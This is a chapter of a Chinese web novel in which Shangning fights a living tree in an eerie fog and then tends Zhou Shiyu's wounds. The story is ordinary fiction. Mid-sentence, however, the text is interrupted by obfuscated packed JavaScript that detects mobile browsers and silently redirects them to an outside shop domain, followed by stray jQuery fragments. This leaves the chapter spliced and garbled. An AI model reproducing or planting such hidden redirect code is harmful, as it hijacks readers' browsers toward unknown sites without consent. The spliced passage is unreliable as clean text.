商宁这短短七天过得也算是大起大落,上一秒保时捷劳斯莱斯,这一秒蹬的两轮子,落差之大恍如已经投胎下辈子。
哼哧哼哧骑了半小时,商宁实在受不了停了下来,趴在自行车前头喘着气。
好在今天天气不错,阴嗖嗖的风也凉快,不然非得把她累的大汗淋漓。
她回头瞥见后座的舟拾玉,乖顺地侧坐着,两条长腿落在地上,时不时翘两下。
见她看过来,抬眸的目光夹带着些茫然,眉眼舒展,唇角微微弯着一丝弧度,看起来心情不错的模样。
商宁喝了口矿泉水,不理解他坐自行车都这么开心。
她宁愿坐在宝马里哭。
“我也想喝。”舟拾玉温温凉凉的声音落在耳边,前头的人身微微半侧,头也没回,把水递给了他。
还没来得及撤手,商宁忽地感到手上温热覆下,肌肤相近的触感有些细腻光滑。
她怔愣的瞬间,舟拾玉已然握住她的手,顺势喝了一口水。
就如同回到第一次见面的时候,舟拾玉递过水,同样也被她以这样的姿势喝水。
被烫到一般,舟拾玉刚喝完她便忙不择路地收回手,看清矿泉水只剩下一半不到,有些心痛:“小花你怎么喝这么多,咱要没水了!”
她回头,看见一双水灵灵的眼睛无措地看向自己。
“……”
她手指曲起,指骨节轻轻掠过那人水润的唇瓣,擦拭掉要滴下来的水渍。等她反应过来才知道这动作有多暧昧。
“你喝吧,我再找就是。”她有些僵硬地收回手,脚下一蹬,自行车缓慢又歪扭地上路了。
轮子滑过减速带,商宁一个没注意控制方向,两个人都短暂脱离了车垫子。
浇花松土。
商宁有那么一瞬间也觉得自己是真真切切做到了那句话——爱人如养花。
不知道是不是错觉,商宁总觉得脚边萦绕着什么,墨灰色一团雾,散的有些开。
远处,看向天边,白茫茫一片朦胧,不少高楼大厦已然看不清轮廓,被遮掩藏在白雾中。
但阴天起雾,也算正常,只是地面也忽然起了一层灰色薄雾,就有些诡异。
白雾笼罩高空,地面黑雾向上攀爬。
她晃了晃鞋尖,触碰到这些灰雾并不会有什么奇怪的感觉,只是盯久了有些后背发凉。
副本连每天的天气都不一样,让商宁不得不多想这些细节。
这座城市绿化做的不错,道路两侧也有植树,中间花草作帘隔绝,若不是阴天暗沉,阳光洒下来看着应该好看。
开过林荫道的时候,路面有些不平,不知道种了多少年的老树,树根已经渗入地下强行侵占沥青路面,延伸的凸起如同干瘪皮肤上蜿蜒的皱纹,粗的有些吓人。
背后一股寒气扑来,商宁隐隐觉得有些不对劲,忍不住加快速度。
她突然伸手径直抓住舟拾玉的手,放在自己腰间,轻声说了句:“抱紧点。”
呼啸的风也深了些,吹乱耳边的碎发。
肩膀忽然压下一点力气,像是轻轻拍了拍自己。
“怎么了小花…有什…”
话未说全,商宁心神一滞,她低头看向自己的腰腹,舟拾玉的手正稳稳圈在上面。
他的手在这里,那拍在她肩膀上的又是什么东西。
眉头紧锁,商宁飞速看向肩膀,只见一条粗壮的灰褐色树根正好与她面面相觑。
上下一晃,好似同她打招呼。
下一秒,无数条虬结的树干挣脱束缚,拱开碎裂的沥青,裂痕如蛛网般向四周蔓延。
像不见其身的触手,张牙舞爪围了过来。
车轮被卡住,动弹不得,商宁脚踩着地,手腕骤然一转,唐横刀寒光翻卷,顺着小臂甩出一道凌冽弧光。
刀锋在空中挽出利落刀花,转瞬间灰褐色的枝干应声断裂两半,啪嗒落地,如同残肢遗骸。
商宁没有犹豫,立马弃车,拽过后座上舟拾玉的手臂,失去重量压制的自行车在偏离的一刻骤然被撕拽飞开。
顺势落地,商宁抱着人在地上翻滚了好几圈才堪堪停稳。天旋地转等舟拾玉回过神来,只能看见悬于地面银白冷光的刀身和面藏锋利不带感情,同单跪在地上的商宁。
寒芒一瞬间划过眼底,同眸光交错。
没有什么花里胡哨的招数,商宁尽量避开脚下凸起扭曲的根系,挥刀砍掉那些向他们扑来的枝干根条。
足够厚壮,商宁甚至能感受到从刀身穿到掌心的震鸣。
被树根顶的四分五裂的地面下似乎有什么在悄然蠕动,商宁耳尖听到一丝破裂的杂音。
一条粗壮柔韧的枝干突兀而至,破地弹射,商宁没来得及看清,只听到身后舟拾玉突然来的一声闷哼,余光里瞥见那枝干飞速爬过的残影缠上他的腰腹。
下一秒枝干向上收紧,舟拾玉也跟着被凌空拽起,身体吊在半空中。
如同盘旋的蛇尾一点点收紧,连口鼻都被死死捂住窒息感铺天盖地卷来,粗糙磨人的树皮勒进衣物,阵阵刺痛。
[绑定对象菟丝花生命值下降1点]
商宁瞳孔一缩。
这老树简直是要成精。商宁顾不得多想,身形快速冲了过来,一跃而起,手腕发力,奋力朝着捆绑住人的枝干劈砍下去。
一路电光火石擦过,木屑四溅,树皮仅是裂开非断,留下一道深深的缺口。
似乎是将它弄疼,蜷缩的枝干捆得人愈发的紧,半空中,舟拾玉乱蹬着小腿不断挣扎。
商宁逼自己静下心,精神力不断泄洪般包裹这突然变异的老树,看来单砍枝干并没有多大用处。
睁开眼刹那间,商宁五指握紧刀柄,飞身冲向藏在枝根重叶后的粗大树干上。
像察觉到她的想法,余下侧枝如长鞭般冲她甩来,清冽的刀光在灰蒙蒙的天光下异常耀眼,商宁全身肌肉绷紧,目光死死钉在那主干上。
源源不断的精神力裹挟在刀身上,商宁咬紧唇,抽刀挥去。
被横腰斩断的老树砸在破裂开来的地面之上,惹起好一阵剧烈震颤,商宁也被震得脚步不稳。
骤然松开的失重感袭来,舟拾玉身形一晃,直直摔了下去。
大脑一片空白,风声擦过耳边,舟拾玉迟钝地闭上眼,等待坠落的疼痛。
地面的商宁见状径直甩开手中的唐刀,飞身滑跪出去,一只手稳稳接住掉落身影的后腰,另一只手托住他的膝弯。
携带的冲击力还是逼得她沉下大半边身子,后知后觉的,商宁膝盖上隐隐传来一些抽痛。
早知道不耍帅了。
商宁压着那点手抖脚麻,默不作声地吞咽下喉咙里被灌了太多风引起的铁锈味。
舟拾玉还保持着呆滞的表情躺在她怀里,被枝干紧勒包裹的钝痛和窒息还附在身上,好好一件白衬衫被勾的抽丝分裂。
凝浊的视线从卷开衣角遮掩下的一截精瘦腰腹慌张地落在他凌乱的发丝上,舟拾玉下意识攥紧她的衣领,胸膛起伏的厉害,似乎是还没缓过神。
大风刮过,落叶簌簌,商宁刚听到树叶的声音,下一秒眼前闪过无数碎影。
青绿的落叶似飞雪一般,铺天盖地洒了他们一身。
这一秒,时间好像被拉的好长,像在等一颗苗芽从钻出泥土时就幻想它长成参天大树的模样,转瞬间枝繁叶茂。
落叶好像只是一瞬间的事情,商宁的视线慢慢地回到眼前,对上舟拾玉望过来的眼神。
他突然伸出手,指尖擦过她的脸颊,有些勉强地替她扯下头顶一片落叶。
那片枯叶遮掩了她大半视线,摇晃的模糊里,下一秒对焦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888731|212676||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上那双清凌凌的眼睛。
舟拾玉眨了眨眼。
不知道为什么眼前的人忽然起身,有些乱地把他扶稳推开。
商宁走过去捡起自己丢掉的刀,一脚踢开脚边的树根,回头看了眼舟拾玉,又看了眼那被砍成两半的老树。
你是花,它是树。
本是同根生,相煎何太急。
她叹了口气,这下好了,他们连唯一一个交通工具都没有了。
舟拾玉静静走到她身边,突然仰起点脖颈,露出上面的血痕和缠绕过后留下的几圈红痕。
似乎是觉得不够明显,他突然当着商宁的面要掀开自己的衣摆。
零星的雪白只闪过一瞬,商宁手忙脚乱地制止住,“我知道了知道了。”
往下的目光忽然一顿,商宁有些怀疑是错觉。
刚刚在打斗没发现,地面上那层灰雾,竟然在不知道什么时候,蔓延到了小腿。
就好像行走在一团黑水之中。
对行动并无阻挡,商宁想到突然成精似的树,怀疑是不是有这团黑雾的原因。
舟拾玉突然攥着她的衣角,商宁看过去,发现这人脸居然比刚刚还要惨白上几分,似乎是发现了什么天大的伤心事。
“怎么了?”
舟拾玉没有回答她的问题,指尖落在脸颊上,触碰到不同寻常的黏腻。
脸上有伤口。
他要毁容了。。
商宁盯着那道浅浅的血痕,在过分白的脸上确实是有些突兀。
再不包扎就要愈合了。商宁从背包里拿出消毒和包扎用的药品,缓慢地给他包扎伤口。
只是他死活不愿意在脸上贴创可贴,商宁没法只好简单消毒了下。
什么都好说,就是他掀开自己衣服想要商宁继续处理腰上伤口的时候,商宁有些犹豫。
“我没有趁人之危,你自己脱的。”商宁努力摆着张没什么表情的脸。
明明只是简单的掀开,又不是完全脱掉。舟拾玉闻言乖乖地点了点头。
“嗯,我自愿脱的。”
“……”商宁呼吸一滞,有种自己越描越黑的感觉。
只是太白了,商宁的眼睛总是不自觉黏在上面,过于冷白的腰身显得那些绯色伤痕格外刺眼,腰线绷的有些紧,似雪似纱,商宁被晃得有些眩晕。
这时她才意识到舟拾玉这一头长发到底有多长,及腰的黑发几缕黏在腰身上,犹如泼墨在白纸上作画。
“商宁。”舟拾玉突然喊了她名字,可能是消毒时棉签擦拭引起的刺痛让他的声音有些抖。
商宁抬头看他。
舟拾玉飘落的长发刚好垂下一些在她的手背上,蜿蜒起伏缠在她的手臂上。
“你怎么不动了?”
那双眼里好像有星星点点杂糅出来的流光溢彩,勾着人挪不开眼神,商宁猛的反应过来。
她竟然盯着人家的腰看了这么久。
真是怪不礼貌的,商宁收敛神色,佯装正经地和舟拾玉说:“只有这些地方受伤了吗?我看看腿,不是我的意思是指你的脚没受伤吧。”
舟拾玉噢了一声,拽了下裤子,裤脚向上被撩起,露出一截瘦削的脚踝,青紫血管附着薄薄一层血肉。
小腿上还能看见上次撞到磕下的淤青。
“你看吧。”舟拾玉眨了眨眼,“我的腿。”
他说的平静自然,完全不知道话里歧义多吓人。商宁检查了下上次的伤口,重新找了绷带包扎。
绑了个漂亮的白色蝴蝶结,商宁总算收工。
站在原地的舟拾玉总觉得自己像个木乃伊,脖子上腰上和脚踝上都是绷带。
他看向商宁,语气认真:“谢谢你,商宁你人真好。”
商宁也慢悠悠地回答:“你人也很好。”
还给她看腿。